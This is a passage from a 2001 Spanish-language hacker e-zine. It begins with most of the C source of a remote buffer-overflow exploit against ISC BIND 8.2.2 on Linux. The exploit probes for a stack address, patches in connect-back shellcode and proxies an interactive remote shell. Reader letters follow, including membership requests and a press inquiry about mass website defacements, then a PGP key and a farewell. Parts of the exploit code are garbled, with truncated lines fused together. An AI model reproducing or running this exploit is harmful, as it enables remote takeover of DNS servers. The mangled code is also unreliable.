   hdr->id = htons( hdr->id);
   hdr->qdcount = htons( hdr->qdcount);
   hdr->ancount = htons( hdr->ancount);
   hdr->nscount = htons( hdr->nscount);
   hdr->arcount = htons( hdr->arcount);
   
   return (data - packet);
}




void
check_data(int fd, u16 local_port, int probe)
{
  u8 		pkt[1024]; 
     		/* no packet can have more than this... */
  
  u32	        ebp;
  u32	        r_addr;
  u16		r_port;
  int		n,i;
  
/*  n = udp_read(fd, &r_addr, &r_port, pkt, sizeof(pkt));   */
  n = read(fd, pkt, sizeof(pkt));  

  if (nid);
        printf("rd %d, tc %d, aa %d, opcode %d, qr %d\n",
           query->rd, query->tc, query->aa, query->opcode, query->qr);
        printf("rcode %d, pr %d, ra %d\n", 
           query->rcode, query->pr, query->ra);
        printf("counts: qd %d, an %d, ns %d, ar %d\n",
           htons(query->qdcount), htons(query->ancount), htons(query->nscount), 
           htons(query->arcount));
        
        printf("\n**** RECV PACKET DUMP ****\n");
        for (i=0;ircode==1 && query->opcode==1 && query->rd && query->qr)
        /* infoleak answer */
        {
        u32  local_addr;
        
        ebp = *(u32 *)&pkt[0x214];
        ebp -= 0x20;
        printf("\bebp is %08x\n", ebp);
        if (probe)
           {
           exit(0);
           }
        printf(".  waiting for connect_back shellcode response...  ");
        local_addr = retrieve_local_info(fd);
        
        *(u32 *)&shellcode[0x62] = htonl(local_addr);
        *(u16 *)&shellcode[0x81] = htons(local_port);
        /* start to dump da packet away */
        n = assembly_dns_query( pkt, ebp);
        write( fd, pkt, n);
        }
        

     if (query->rcode)
        {
        printf("\n*  error on binding receiving the message\n");
        exit(0);
        }

     if (query->ancount) /* we have answer */
        {
        u16  type, class;

        /* skip domainname */
        while (*data)
           data += (1+*data);
        data++;
        type  = ntohs(*(u16 *)data); data += sizeof(u16);
        class = ntohs(*(u16 *)data); data += sizeof(u16);
        if (type==16 && class==3) /* the answer for our bind baby */
        /* skip domainname */
        while (*data)
           data += (1+*data);
        data+=11;
        data[*data+1]=0; data++;
        printf("\b%s\n", data);
        printf(".  probing ebp...  ");
        n = assembly_dns_infoleak_query( pkt);
        write( fd, pkt, n);
        
        }
     }  
}


proxy_loop(int sock)
{
   fd_set fds;
   u8     tmp[256];
   int    tcp, addr_len;
   struct sockaddr_in server;

   addr_len = sizeof(server);
   tcp = accept( sock, (struct sockaddr *)&server, &addr_len);
   printf("\bconnected\n.       ^---> from %s:%d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port));
   close(sock); /* closing incoming socket */
   printf(".  congratulations. you have owned this one.\n");
    
    sprintf(tmp,"uname -a; id\n");
    send(tcp, tmp, strlen(tmp), 0);
    /* basic async mode */
    while (1)
        {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(tcp, &fds);
       
        if (select(tcp+1, &fds, NULL, NULL, NULL)>0)
           {
           if (FD_ISSET(0, &fds))
              {
              int n;
              n = read(0, tmp, 256);
              if (n<0)
                 goto end_conn;
              if (write(tcp, tmp, n)!=n) goto end_conn;
              }
           if (FD_ISSET(tcp, &fds))
              {
              int n;
              n = read(tcp, tmp, 256);
              if (n<0)
                 goto end_conn;

              if (write(0, tmp, n)!=n) goto end_conn;
              }
	   }
	}
end_conn:
    close(tcp);
    printf(".  bye-bye. Stay tuned for more Tamandua Labs codes.\n");  
    exit(0);
}





/* INFO ON MAIN:
   -------------
   
   This exploit will probe for bind's version, and then will try to exploit
   it. Thus, it gets the local address information, to connect back.
   
*/


int main(int argc, char **argv)
{
   u32 			addr;
   int 			dns_fd, local_fd;
   u8			data[1024];
   u16			local_port;

   int			probe=0;

   fd_set           	fd_r;
   struct timeval   	tv;
   char             	try_ch[4]="/-\|";

   int 			i, n, max_fd;

   printf(".  ISC bind 8.2.2-x remote buffer-overflow for linux x86\n");
   printf(".  (c)2001 Tamandua Laboratories - www.axur.com.br\n");
   printf(".  (c)2001 Gustavo Scotti <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >\n\n");

   for (;;)
      {
      int	c;
      int	option_index = 0;

      static struct option long_options[] =
         {
		{ "help"     , no_argument       , NULL, 'h' },
		{ "verbose"  , no_argument       , NULL, 'v' },
		{ "probe"    , no_argument       , NULL, 'p' },
		{ 0, 0, 0, 0 }
         };

      c = getopt_long(
		argc, argv,
		"hvp",
		long_options, &option_index);
      if (c == EOF)
         break;
   
      switch (c)
	        {
		case 'h': /* help */
			printf
			(
"   usage: %s [-phv] target\n"
"\n"
"   -h, --help               this message\n"
"   -v, --verbose            verbose\n"
"   -p, --probe              probe only!\n"
"\n", argv[0]
			);
			return 0;
                        break;
                case 'p': probe=1;
                   	  break;
                case 'v': /* verbose */
                        verbose=1;
                        break;
                }
      }
      
   if (optind >= argc)
      {
      printf( "*  no target especified\n");
      return 1;
      }
   
   addr = dns2ip(argv[optind]);
   if (addr==0xffffffff)
      {
      printf("*  could not resolve '%s'\n", argv[optind]);
      exit(0);
      }
   
   local_fd = bind_tcp(&local_port);
   dns_fd = udp_connect( addr, 53); 
   n = assembly_dns_chaos_query( data);
   write( dns_fd, data, n);
   max_fd = 1+(local_fd > dns_fd ? local_fd : dns_fd);
   printf(".  waiting for server response...  ");

   while (1)
      for (n=0;n<20;)
      {
      int i;

      printf("\b%c", try_ch[(n%4)]);
      fflush(stdout);

      FD_ZERO( &fd_r);
      FD_SET( dns_fd, &fd_r);
      FD_SET( local_fd, &fd_r);

      tv.tv_sec  = 0;
      tv.tv_usec = 50000;

      i =select( max_fd, &fd_r, NULL, NULL, &tv);
      if (!i) { n++; continue; }
      if (i>0)
         if (FD_ISSET(dns_fd, &fd_r)) check_data(dns_fd, local_port, probe);
      else
         if (FD_ISSET(local_fd, &fd_r)) proxy_loop(local_fd);
      }
}



/*

----- tmd info tag -----
#  tmdl-003
v  ISC Bind Server 		(8.2.2.x)
w  february, 2nd 2001
a  Gustavo Scotti   		(
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 )
i  do not run this behind a masquerade server. the shellcode is a connect 
i  back and it does probe for local address.
*/


Autor     : EleKtr0
Titulo    : Bug`s & Exploit`s
Fuente    : Hispasec - Hack.co.za - SecuriTeam - Packetstorm





,ø¤°`´°¤ø¸
-<[ 19 ]>-
`°¤ø,¸,ø¤°

Autor     : EST
Titulo    : Correo Electronico
Correo    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 


From: <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >
To: <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 > 
Subject: EST

wena compadre en he estado siguiendo su ezine y me parecio  la  raja  pero  el 
motivo de este mail es si puedo cilaborar con uds se mas de hack en linux  que
de paginas webs y esas yerbas y deseo "si se puede" entrar  a  su  grupo  hack
bueno compadre te dejo me tengo k virar espero tu mail si la respuesta  es  no
igual maileame porfa.

okyz
byez


 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 	

 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
irc.terra.cl 6667 casi toos los dias en la noche desde las 11:00 o 12:00
byez

:-)


From: "Daniel Benites" <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >     
To: <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 > 
Subject: 

Hey . como estas. La razon de este mail es para hace un peque¤ito acuerdo !Que
te parece! si cambiamos links , tu linkeas mi pagina y por su puesto yo linkeo
la tulla mi url es  http://mie.aztecaonline.com y mi e-zine es MIE  respondeme
este  mail por favor con tu desicion.



From: Miguel <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >     
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
Subject: (no subject) 

Sabeis de alguna lista de errores de windows (pantallazos azules) si sabeis de
alguna lista de ese tipo , mandadme la direccion me es muy util


From: Miguel <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
Subject: (no subject) 

Hola.
Soy General Failure, y les mando esto para que lo lean y se diviertan un  poco
o si quieren lo pueden poner en la ezine, pero sobre todo lo mando para que se
entretengan un rato.

Chao, feliz siglo XXI.

  General Failure.



From: "
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 "	
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  	
Subject: Kiero ser PaRte de electron team!!!! 	
	
Lei si zine y me encanto y me dije  ke  no  me  podia  kedar  kon  los  brazos
kruzados asi ke aki toy......... por fa  aceptenme............  para  kualkier
kosa mailme pliz

Rucarli 	



From: "Garry Holtzen Jenkins" <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >     
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
Subject: Puedo colaborar ??? 

Hola:
Que tal espero que cuando este mensaje te llegue, que no lo tomes  a  mal, soy 
uno de los tantos que lee tu e-zine, que por cierto  no  esta  nada  mal, solo 
te voy a decir que tu comentario del e-zine Nokeyz, en lo que a  mi  concierne 
creo que estuvo demas, a decir verdad a mi no me importa  mucho  lo  que  haya 
pasado entre uds, si crees que lo que hiciste estuvo  bien,  pues  adelante... 
y no hay mas remedio ;-)

Otra cosa que queria comentarte es que me gustaria colaborar con el e-zine, lo
que tengo como idea es mandarte un documento sobre el sistema operativo  UNIX,
en realidad no es muy tecnico, ni tampoco a nivel de administrador, que es lo
que me guataria que fuese, el documento trata  sobre  historia,  sistemas  de
archivos, sistemas de administracion de memoria, procesos,  algunas que otras
caracteristicas basicas del sistema.

Mi idea es dar una introduccion de lo que yo se  sobre  este  famoso  sistema 
operativo, ya que lo utilizan la mayoria de los servidores que tiene acceso a
Inet, por lo que yo se la universidad donde estudio utiliza este sistema   en
su servidor, ademas espero que despues otra gente que este interesada  en  el
tema pueda alcanzar mas inforamcion con la intencion  de  que  todos  podamos 
aprender un poquito mas, espero poder encender la brecha sobre este tema.

Espero tu respuesta para poder empezar a transcribir algo sobre el tema.

Bueno te cuento mas o menos a lo que me dedico, estudio  Lic  en  Sistemas,  y 
estoy en tercer a¤o de la carrera, la forma en que me  introducí  en  el  tema 
del underground fue por un amigo con una mentalidad  muy  inquieta, y  es  asi 
que empece a buscar y leer muchos textos relacionados al tema que  por  suerte 
se encuentran en Inet, todo esto ya hace  casi  un  a¤o  y  medio  y  a  decir 
verdad no he experimentado mucho en el tema ya que no  tengo  un  tarro en  mi 
casa como para ponerme mas en movimiento.

Y un tema mas antes de despedirme, en mi universidad las computadoras utilizan
Guindouz NT y el administrador en un hijo de las grann "%&···###...bueno tu ya
sabes, pero por lo que pude ver de tu e-zine es que conoces bastante bien este
maldito sistema de sistema de Mocosoft, espero que podamos ayudarnos en  esto,
si te parece claro..;-)

Bueno espero que nos entendamos en el tema y espero tu respuesta lo mas pronto
posible que tengo que rendir una maldita materia,pero bueno asi es la vida que
le vamos a hacer, no??? ;-)

goost_raider

P.D.: como podras ver mi nick es el de la firma y por si no lo mencione  antes
soy de Argentina, mas presisamente vivo en la provincia de corrientes pero por
suerte no naci allí, ja ja ja ;-) hasta la proxima.



from: "Angel Ney" <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >     
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
Subject: Logo. 
  
Hola.
Soy General Failure. Hace un tiempo les envié un artículo, y me gustaría saber
si les interesó o no, te pido que me lo digas.  Se llama  "Trucos  y  consejos
practicos para Windows,Internet Explorer,Html y Javascript". Me gustaría saber
si lo pondrán en la próxima edición de la ezine, o si no les gustó, o  lo  que
sea.

Ahora les mando este logo que hice, es una reproducción en ascii del logo  que
sale en la pagina, espero también que les guste y que lo pongan en la ezine.

Bueno, saludos a todos y cuenten conmigo si  desean  artículos  sobre  html  y
javascripts.

General Failure.
PD: ...felicitaciones por lo que hicieron en protesta a "insegure".

Por General Failure.
[
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ]



                  ..eee&&&&&&pqa,
               .;6&p'     'q&&&&&&&,
            .&&&&&''        '&&&&&&&&           'a
          ,&&&&&&&'          '&&&&&&&            &
          &&&&&&&&            &&&&&&'            &
         (&&&&&&&(           ,&&&&'              &
          &&&&&&&&,       ,,ee&9''               &
          'd&&&&&&6;ee&&&&&&9'                   &
           ''&&&&&&6,        ELECTRON  SECURITY .%
              '&&&&&$£..                       .&'
                ''&&&&&&&;..        TEAM     ,,&'
                    ''&&&&&bqqa,,,,,,,,,,,,ee9'
                          ''ººººº8888ººººº''



From: Rodrigo Alvarez <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >     
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
Subject: Hola, El Mostrador requiere informacion 
          
Esta direccion estaba en la proclama del hackeo que hace poco afecto a mas  de
cien paginas chilenas.  Nos gustaria saber si ustedes se adjudican la autorias
del hecho o si tienen infromacion de quienes son. 

Necesitamos respuesta o confirmacion para la  nota  que  estamos  haciendo  en
elmostrador.cl

Gracias


From: Rodrigo Alvarez <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >     
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
Subject: OK! Re: 

Gracias por responder y gracias por lo de se¤or. En efecto todos acá  tiene un
host, lo que pasa es que me integré hace pocos días y me estaban  configurando
una cuenta y todo eso, cuestyión que ya está lista.

Nos vemos y que estén bien.

RAA



From: "Gonzalo Jara" <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >     
To: <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 > 
Subject: quiero ser parte de team 

holas me llamo gonzalo y me gsutaria s ser parte del Team, en la  pagina  dice
que mandemos un articulo y no cahce cual era asi que  no lo  mande ....  epero
que me respondan.

atte
Gonzalo Jara
GoNZaLiTrO


From: "lalala" <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >     
To: <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 > 
Subject: electron team

Hola:
El presente mail pretende consultarles si Uds. trabajaron alguna  vez  con  la
tecnologia diskless y clustering.Con el primero deseo implementarlo el segundo
es un proyecto.
Atte., saludo a todos Uds.
Sigan adelante con su página, MUY BUENA!!!!

"La información debe ser libre" 
Get your Free E-mail at http://linuxpower.zzn.com



From: "Helberth A. Correa A." <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  	
Subject: 	Hola 	
	
hola Muy interesante todo el material de su  ultimo  e-zine  Te  escribo  para
solicitarte permiso para recopilar tu e-zine  y  publicarlo  en  una  web  que
trate de temas en general sobr el mundo de la  computación,  soporte  técnico,
driver, novedades, noticias en general.  T estare enviando la direccion  de la
misma el proximo mes. Estás de acuerdo?  Helberth A. Correa   	




From:  Plasmoid / THC <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  	
Subject: New Website: The Hacker's Choice 	

	
Hi, I am Plasmoid of the german hacking group "The Hacker's Choice".  We  have
discovered that you have one or more links on your website that point  to  our
old servers.  We'd like to inform you, that we have  changed  the  server  and
reorganized our site.

It can be found at:   --> http://www.thehackerschoice.com

We would be pleased if you could change the link(s) to this new  location.  We
spent nearly 3 months reorganisting our site and tried to made it  miles ahead
from the old one.

With best regards, Plasmoid / THC    	




From: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
Subject: Team Electron 

Hola
Vi el numero 1 de e-zine hace algun tiempo y la  encontre  bastante  peculiar,
interezante. Llegue a ella por casualidad,ya ni recuerdo como...pero al volver
a visitarla este a¤o la encontre bastante renovada, todavia  estoy  saboreando
la lectura del e-zine.

Como tu propones pertenecer al staff, te escribo este mail en donde te comento
mis conocimientos y aptitudes, que  podrian  ser  de  gran  utilidad  para  tu
proyecto.

Soy dise¤ador grafico, y me dedico al dise¤o  de  sitios  web  para  empresas,
digamos que de programacion no se  mucho, es  decir casi  nada,  pero  de  los
programas  gráficos  bastante,  sobre  todo  los  productos  macromedia  como:
dreamweaver,  flash,  firewoks,  freehand  y  otros  como  photoshop,  tambien
programas de 3d como softimage 3d de la linea SilicomGraphics.

Digamos que ese es mi curriculum, espero  que  mis  conocimientos  puedan  ser
utiles para el team y poder apoyar este proyecto.

Saludos
Lestat

PD. este es mi web site de mi empresa http://www.neweb.cl


From: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
Subject: Informacion 

Hola electron.

Necesito alguna informacion sobre lo siguiente: Que consideraciones debo tener
para poder transmitir se¤ales a travez de internet, te soy mas especifico, el 
trabajo que quiero hacer consta en hacer mover un motor de cualquier objeto...
pero,para esto se desarrollara un software,el cual quiero sabes que debo tener
en cuenta, en lo que se refiere al puerto a utilizar, la  seguridad  que  debo
tener o si no es necesario,para esto ya hice un primer trabajo que consiste en
mover un carrito a travez de radio enlace pero a travez del puerto paralelo...
me sera necesario seguir utilizando este o que me recomiendas...,sobre todo me
interesa que debo tener presente en mi software...claro sindescuidar la  parte
hardware... De antemano muchas gracias... y espro su pronta respuesta.

Atte.
Oscar Ciudad


From: REMIGIO SAEZ <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >     
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
Subject: mejorar la comunicacion y saber kienes somos.... 

Hola EleKtrO, mi nick es CRaSHSiSTeM, gusto en saludarte, y por medio de  esta
espero podamos mantener informacion abieta y sin prejuicio...el motivo de esta
es para proponerte, k se cree un canal en  el  irc, para  los  usuarios, team,
adictos a coleccionar e-zine, etc, en primer lugar  podria  ser  abierto  para
luego  poder ingresar por contarse¤a para k no  molesten  en  fin, etc,  desde
luego la  idea keda abierta al team, si la respuesta es si,mandame el servidor
para conectarme y desde luego, minimo acces, pero bueno y si  no  veamos  otra
alternativa para tener un contacto activo entre nosotros...bye, bye.

SE DESPIDE AFECTUOSAMENTE, Y ESPERANDO PRONTA RESPUESTA..... REMIGIO SAEZ B.


 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 



Date: Fri, 12 Jan 01 14:20PM MST 
From: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
To: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
Subject: ok, manos a la obra 


Por lo visto debo sentirme priviligiado por que me dejen integrarme  al  team, 
bueno entonces ¡¡manos a la obra!!.

He estado observando algunas paginas relacionadas,el web site de electron-team,
la encuentro en gral. simple, por supuesto que en este caso  se  privilegia el
contenido, no?. haré algunos dise¤os y los subiré a  mi  web  para  que puedas
opinar al respecto....trabajaré sobre lo que  ya  hay, es  decir  contenidos y
menus.

Tambien me gustaria poder hacer algo en flash, una presentacion o algo así. 

Todo esto espero tenerlo dentro de la  proxima  semana... ojalá  nos  podamos
comunicar de alguna forma para aclarar otras dudas que tengo.

Saludos

Lestat

PD: en que canal de chat los encuentro?



Autor     : EST
Titulo    : Correo Electronico
Correo    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 






,ø¤°`´°¤ø¸
-<[ 20 ]>-
`°¤ø,¸,ø¤°


|================================================================================|
| Autor     |     Electron Team      |                                           |
|=========== ========================	      Seccion en construccion...       |
| Titulo    | Intentando dar una     |    Debido a k las preguntas que nos han   | 
|           |      Respuesta         |   enviado son muy pocas hemos desidido no |
|=========== ========================   incluirlas, al menos no hasta k haya una |
| Correo    | 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   |   cantidad considerable... ahora bien les |
|=========== ========================    recuerdo a aquellos k no tienen idea de |
| Comentario| Preguntas?no ahy dudas¿| que se trata esta seccion leerse el numero|
|=========== ========================           anterior, asik ya saben...       |
| Contenido | .,-`^´-,. . .,-`^´-,.  |                                           |
|=========== ======================== ===========================================|







,ø¤°`´°¤ø¸
-<[ 21 ]>-
`°¤ø,¸,ø¤°


Autor     : Electron Team
Titulo    : Llaves PGP 


|=================|============================|
|  Electron Team  | 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
       |
|=================|============================|

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.5.3 for non-commercial use 

mQGiBDnnkZkRBAD+bxLUqUJ37qZ0soka4PlRHNdE2buyi7Ro+D9ICeRiYuUihN1V
gmoZzOo9HtP7rYJLy6q8lmu4EDeSNMhbkKFYzZhZg4QiRcQoSA4pz8s+sC0FnYQ8
R6zf6Jqj8QxfopHMp0n4Kry+Ici/Gnq4J0BBSKJeyyH5Cl57FJaR4LW+PwCg/6lf
5NGJ9GX/E0cmy1i5uGpicjsEAMqjXjz1dKa57NED1fwr7s8HKnJ27+NbWgJGapAd
Il5PaebKK5EKenWvAqeIpPxIGMSB06qH2RJ/Y+5r5F1kQvOtJ5RIEXInXuVwzmMe
/d6cNJe2OzCwQBt47uD/anCWJrjB6FZaf6kTMijw33uCf/PdFQ07m1gMr1wzZSqK
3zFDBAC1L0tzii9Euu0ASNfEBzXCDloKvQ4jQU7DVTDrAxlJzxFou8704q433qTm
ZG2dzw9SpS21dVJUSwqk3FNsrpRxquJGuSqpfdjmVEI1RhzcmoS3Q+uFWHKAocg7
40xCcXhoqCGS4kOAH1ARk/PpL+qtp5+qfMvh50ln2N47uqcoabQuRUxFQ1RST04g
U0VDVVJJVFkgVEVBTSA8ZWxlY3Ryb25fdGVhbUB1c2EubmV0PokATgQQEQIADgUC
OeeRmQQLAwIBAhkBAAoJEGk4I0e2n5KRPJMAoJrhFiTJDpNMzmkPlR4KMj02AgWU
AJ48CzIWkiD0g4bk7y+cKx+WAKS4ubkDDQQ555GZEAwAzB13VyQ4SuLE8OiOE2eX
TpITYfbb6yUOF/32mPfIfHmwch04dfv2wXPEgxEmK0Ngw+Po1gr9oSgmC66prrNl
D6IAUwGgfNaroxIe+g8qzh90hE/K8xfzpEDp19J3tkItAjbBJstoXp18mAkKjX4t
7eRdefXUkk+bGI78KqdLfDL2Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoB
p1ajFOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnh
V5JZzf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr
5fSI/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4
XTjTNP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zaf
q9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XpTDJvAAICC/9/ujZptoiBKlmy
5O8J7YotOrb8Jc71+RzTeH27fdkmk2Yqb9RAzOOF2nYg8CibZGKKYDiOTUjaIUXL
EcvNwNen2rDRqySvxkIyGzc9l3M/WN1RbFUOSeQTQqwJvPnYoJzpZ4669jPzNL+O
FOJ9AL2JO7gZQ14b9FMYuWisVHKTXibALYH1V/yVhv2m7Ahj+XC/mG2SRFNh51eP
z6rXtU+sPRDcPs+kyd5iaRF++7Lv1BmfuQKgUkReALEZzWLExs2/Pu4N/gdKytfl
V/ZolS/RJ0h3S1gZWR7J0LEiu+78ZUuimGiQL8MYIxZogQI8Zqq0/qcGLbWc3zhV
f5lmfRBPLzxOaQthax+0UBFspkIsr7EV6OAine79Sr12O3d6n0ynPL+EMw07TF2u
rsQ7co3F6N8fWp+jIB6OaqpVrfZp/oUpWjCFVqD4ruFypmkxFJsdqR9ZtI/DEk/N
Lh9g2LW5LsQ5DVBx9Ui04UCHDgp3eXPxCn1TCXFiiP8kjlPhWJeJAEYEGBECAAYF
AjnnkZkACgkQaTgjR7afkpHPIACg1PSqYh+N8JehaXHuOj4c53tPkz0AoPEWY0fb
HYNOf5nilD2y56kzTDh4
=5sUo
-----END PGP PUBLIC KEY BLOCK-----






,ø¤°`´°¤ø¸
-<[ 22 ]>-
`°¤ø,¸,ø¤°

Autor    : El Editor
Titulo   : Despedida y Comentario Final


ø¤º´¤°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤°`°¤ø
ø¤º´¤°`°¤ø¸¸,ø¤°`´°¤ø¸                                    °¤ø¸¸,ø¤°``°¤ø¸,ø¤°`°¤ø
ø¤º´              °¤ø¸                                    °¤ø¸               `°¤ø
ø¤º´              °¤ø¸            .[*3] [http://www.govannom.org/e-zines/electron/electron03.txt]*EST*z$.             °¤ø¸               `°¤ø
ø¤º´              °¤ø¸           x*#"~```"!Rn·$           °¤ø¸               `°¤ø
ø¤º´  ELECTRON    °¤ø¸          z!~           ~@!         °¤ø¸   ELECTRON    `°¤ø
ø¤º´              °¤ø¸         xZ~             `Eo        °¤ø¸               `°¤ø
ø¤º´  SECURITY    °¤ø¸        $? ^%$%·ç·#~~·^]ç*`$        °¤ø¸   SECURITY    `°¤ø
ø¤º´              °¤ø¸        $EL"··$·$%2~$~€P*:$¸        °¤ø¸               `°¤ø
ø¤º´    TEAM      °¤ø¸        ?B                          °¤ø¸     TEAM      `°¤ø
ø¤º´              °¤ø¸         `?2L                       °¤ø¸               `°¤ø
ø¤º´              °¤ø¸          `#$m.......u@#~           °¤ø¸               `°¤ø
ø¤º´              °¤ø¸             ~2#tW2W$*"`            °¤ø¸               `°¤ø
ø¤º´¤°`°¤ø¸¸,ø¤°`´°¤ø¸                                    °¤ø¸¸,ø¤°``°¤ø¸,ø¤°`°¤ø
ø¤º´¤°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤°`°¤ø
ø¤º´                                                                         `°¤ø
ø¤º´         Nuestra tercera entrega llega a su final, esperamos que la      `°¤ø
ø¤º´         revista sea de gran utilidad para sus estudios y  para  su      `°¤ø
ø¤º´         aprendisaje.Mandamos fuerza y apoyo a 350cc (FYE) por todo      `°¤ø
ø¤º´         todo lo que estan  pasando...  esperamos  verlos  a  todos      `°¤ø
ø¤º´         nuevamente reunidos y ya con su 5º entrega en nuestros  HD      `°¤ø
ø¤º´                  Eso seria todo se¤ores! chao a todos!                  `°¤ø
ø¤º´                               -[ EST ]-                                 `°¤ø
ø¤º´                                                                         `°¤ø
ø¤º´¤°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,| 07/03/01 |°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤°`°¤ø